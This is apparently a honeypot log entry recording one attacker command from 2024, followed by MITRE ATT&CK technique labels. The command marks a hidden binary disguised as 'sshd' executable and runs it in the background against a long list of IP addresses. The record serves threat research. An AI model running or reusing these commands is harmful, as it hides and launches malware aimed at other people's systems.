Honeypot attack session (period 2024), commands issued:
chmod +x ./.2482071372436021787/sshd;nohup ./.2482071372436021787/sshd 37.60.225.36 103.164.76.148 178.160.195.113 115.182.75.5 43.134.46.152 187.120.18.216 124.118.249.114 183.131.22.164 188.235.173.203 211.154.194.21 208.65.84.32 198.244.220.221 154.212.146.73 208.65.84.165 64.225.76.134 15.206.79.116 125.67.125.170 149.127.189.17 218.23.170.184 77.38.253.151 185.36.81.145 51.83.129.53 222.77.96.50 107.172.84.105 183.131.22.188 208.65.84.203 222.77.96.7 82.146.52.80 222.77.96.52 181.113.114.115 54.234.160.114 15.207.220.76 93.51.37.228 113.104.23.62 52.83.11.81 188.166.175.115 112.16.229.12 103.149.53.120 222.186.160.198 107.174.250.150 154.212.149.83 106.15.10.74 66.94.103.0 93.183.239.62 185.126.9.46 51.159.17.182 52.196.22.226 103.123.63.116 173.212.202.192 85.224.47.222 88.218.249.242 &

MITRE ATT&CK techniques observed:
T1222 File and Directory Permissions Modification
T1564 Hide Artifacts
T1059 Command and Scripting Interpreter